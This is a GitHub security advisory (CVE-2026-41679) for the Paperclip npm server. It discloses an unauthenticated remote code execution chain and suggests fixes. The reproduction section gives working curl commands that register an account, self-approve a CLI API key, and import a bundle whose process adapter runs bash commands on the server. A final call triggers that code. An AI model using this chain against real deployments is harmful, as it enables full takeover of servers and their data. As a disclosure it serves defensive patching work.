{"id":"GHSA-68qg-g8mg-6pr7","summary":"paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass","details":"## Summary\n\nAn unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.\n\nI verified every step against the latest version. I have a fully automated PoC script and a video recording available.\n\nDiscord: sagi03581\n\n## Steps to Reproduce\n\nThe attack chains four independent flaws to escalate from zero access to RCE:\n\n### Step 1: Create an account (no invite, no email verification)\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\",\"name\":\"attacker\"}' \\\n  http://\u003ctarget\u003e:3100/api/auth/sign-up/email\n```\n\nReturns a valid account immediately. No invite token required, no email verification.\n\nThis works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`:\n\n```typescript\nconst authDisableSignUp: boolean =\n  disableSignUpFromEnv !== undefined\n    ? disableSignUpFromEnv === \"true\"\n    : (fileConfig?.auth?.disableSignUp ?? false);   // default: open\n```\n\nAnd email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`:\n\n```typescript\nemailAndPassword: {\n  enabled: true,\n  requireEmailVerification: false,\n  disableSignUp: config.authDisableSignUp,\n},\n```\n\nThe environment variable isn't documented in the deployment guide, so operators don't know it exists.\n\n### Step 2: Sign in\n\n```bash\ncurl -s -v -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\"}' \\\n  http://\u003ctarget\u003e:3100/api/auth/sign-in/email\n```\n\nCapture the session cookie from the `Set-Cookie` header.\n\n### Step 3: Create a CLI auth challenge and self-approve it\n\nCreate the challenge (no authentication required at all):\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"command\":\"test\"}' \\\n  http://\u003ctarget\u003e:3100/api/cli-auth/challenges\n```\n\nThe response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge.\n\nNow approve it with our own session:\n\n```bash\ncurl -s -X POST \\\n  -H \"Cookie: \u003csession-cookie\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d '{\"token\":\"\u003ctoken-from-above\u003e\"}' \\\n  http://\u003ctarget\u003e:3100/api/cli-auth/challenges/\u003cid\u003e/approve\n```\n\nThe approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:\n\n```typescript\nif (req.actor.type !== \"board\" || (!req.actor.userId && !isLocalImplicit(req))) {\n  throw unauthorized(\"Sign in before approving CLI access\");\n}\n// no check that approver !== creator\nconst userId = req.actor.userId ?? \"local-board\";\nconst approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);\n```\n\nThe `boardApiToken` from step 3 is now a persistent API key tied to our account.\n\n### Step 4: Create a company and deploy an agent via import (authorization bypass)\n\nThis is the critical flaw. The direct company creation endpoint correctly requires instance admin:\n\n`server/src/routes/companies.ts:260-264`:\n```typescript\nrouter.post(\"/\", validate(createCompanySchema), async (req, res) =\u003e {\n  assertBoard(req);\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n});\n```\n\nBut the import endpoint does not:\n\n`server/src/routes/companies.ts:170-176`:\n```typescript\nrouter.post(\"/import\", validate(companyPortabilityImportSchema), async (req, res) =\u003e {\n  assertBoard(req);                                     // only checks board type\n  if (req.body.target.mode === \"existing_company\") {\n    assertCompanyAccess(req, req.body.target.companyId);  // only for existing\n  }\n  // NO assertInstanceAdmin for \"new_company\" mode\n  const result = await portability.importBundle(req.body, ...);\n});\n```\n\n`assertInstanceAdmin` isn't even imported in `companies.ts` (line 27 only imports `assertBoard`, `assertCompanyAccess`, `getActorInfo`), while it is imported and used in other route files like `agents.ts`.\n\nThe import also accepts a `.paperclip.yaml` in the bundle that specifies agent adapter configuration. The `process` adapter takes a `command` and `args` and calls `spawn()` directly with zero sandboxing. The import service passes the full `adapterConfig` through without validation (`server/src/services/company-portability.ts:3955-3981`).\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d '{\n    \"source\": {\"type\": \"inline\", \"files\": {\n      \"COMPANY.md\": \"---\\nname: attacker-corp\\nslug: attacker-corp\\n---\\nx\",\n      \"agents/pwn/AGENTS.md\": \"---\\nkind: agent\\nname: pwn\\nslug: pwn\\nrole: engineer\\n---\\nx\",\n      \".paperclip.yaml\": \"agents:\\n  pwn:\\n    icon: terminal\\n    adapter:\\n      type: process\\n      config:\\n        command: bash\\n        args:\\n          - -c\\n          - id \u003e /tmp/pwned.txt && whoami \u003e\u003e /tmp/pwned.txt\"\n    }},\n    \"target\": {\"mode\": \"new_company\", \"newCompanyName\": \"attacker-corp\"},\n    \"include\": {\"company\": true, \"agents\": true},\n    \"agents\": \"all\"\n  }' \\\n  http://\u003ctarget\u003e:3100/api/companies/import\n```\n\nReturns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.\n\n### Step 5: Trigger the agent\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d '{}' \\\n  http://\u003ctarget\u003e:3100/api/agents/\u003cagent-id\u003e/wakeup\n```\n\nThe wakeup handler at `server/src/routes/agents.ts:2073-2085` only checks `assertCompanyAccess`, which passes because the attacker created the company. Paperclip spawns `bash -c \"id \u003e /tmp/pwned.txt && ...\"` as the server's OS user.\n\n### Proof of Concept\n\nI have a self-contained bash script that runs the full chain automatically:\n\n```\n./poc_exploit.sh http://\u003ctarget\u003e:3100\n```\n\nIt creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.\n\n## Impact\n\nAn unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any `authenticated` mode deployment with default configuration. This gives them:\n\n- Full filesystem access (read/write as the server user)\n- Access to all data in the Paperclip database\n- Ability to pivot to internal network services\n- Ability to disrupt all agent operations\n\nThe attack is fully automated, requires no user interaction, and works against the default deployment configuration.\n\n## Suggested Fixes\n\n### Critical: Unauthorized board access (the root cause)\n\nThe import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:\n\n- Read adapter configurations and internal API structure\n- Approve/reject/request-revision on any company's approvals (these endpoints only check `assertBoard`, not `assertCompanyAccess`)\n- Cancel any company's agent runs (same missing check)\n- Read issue data from any heartbeat run (zero auth on `GET /api/heartbeat-runs/:runId/issues`)\n- Create unlimited accounts for resource exhaustion\n- Wait for the next authorization bug to appear\n\n**These need to be fixed together:**\n\n1. **Disable open registration by default** -- `server/src/config.ts:172`, change `?? false` to `?? true`. Document `PAPERCLIP_AUTH_DISABLE_SIGN_UP` in the deployment guide. Any deployment that wants open signup can opt in explicitly.\n\n2. **Prevent CLI auth self-approval** -- `server/src/routes/access.ts`, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.\n\n3. **Require email verification** -- `server/src/auth/better-auth.ts:91`, set `requireEmailVerification: true`. At minimum this stops throwaway accounts.\n\n### Critical: Import authorization bypass (the RCE path)\n\n4. **Add `assertInstanceAdmin` to the import endpoint for `new_company` mode** -- `server/src/routes/companies.ts`, lines 161-176. The direct `POST /` creation endpoint already has this check. The import endpoint doesn't. Apply the same check to both `POST /import` and `POST /import/preview`:\n\n```typescript\nassertBoard(req);\nif (req.body.target.mode === \"new_company\") {\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n} else {\n  assertCompanyAccess(req, req.body.target.companyId);\n}\n```","aliases":["CVE-2026-41679"],"modified":"2026-05-05T16:11:43.177Z","published":"2026-04-10T21:08:57Z","database_specific":{"nvd_published_at":"2026-04-23T02:16:19Z","cwe_ids":["CWE-1188","CWE-287","CWE-862"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-04-10T21:08:57Z"},"references":[{"type":"WEB","url":"https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41679"},{"type":"PACKAGE","url":"https://github.com/paperclipai/paperclip"}],"affected":[{"package":{"name":"paperclipai","ecosystem":"npm","purl":"pkg:npm/paperclipai"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2026.410.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-68qg-g8mg-6pr7/GHSA-68qg-g8mg-6pr7.json"}},{"package":{"name":"@paperclipai/server","ecosystem":"npm","purl":"pkg:npm/%40paperclipai/server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2026.410.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-68qg-g8mg-6pr7/GHSA-68qg-g8mg-6pr7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}]}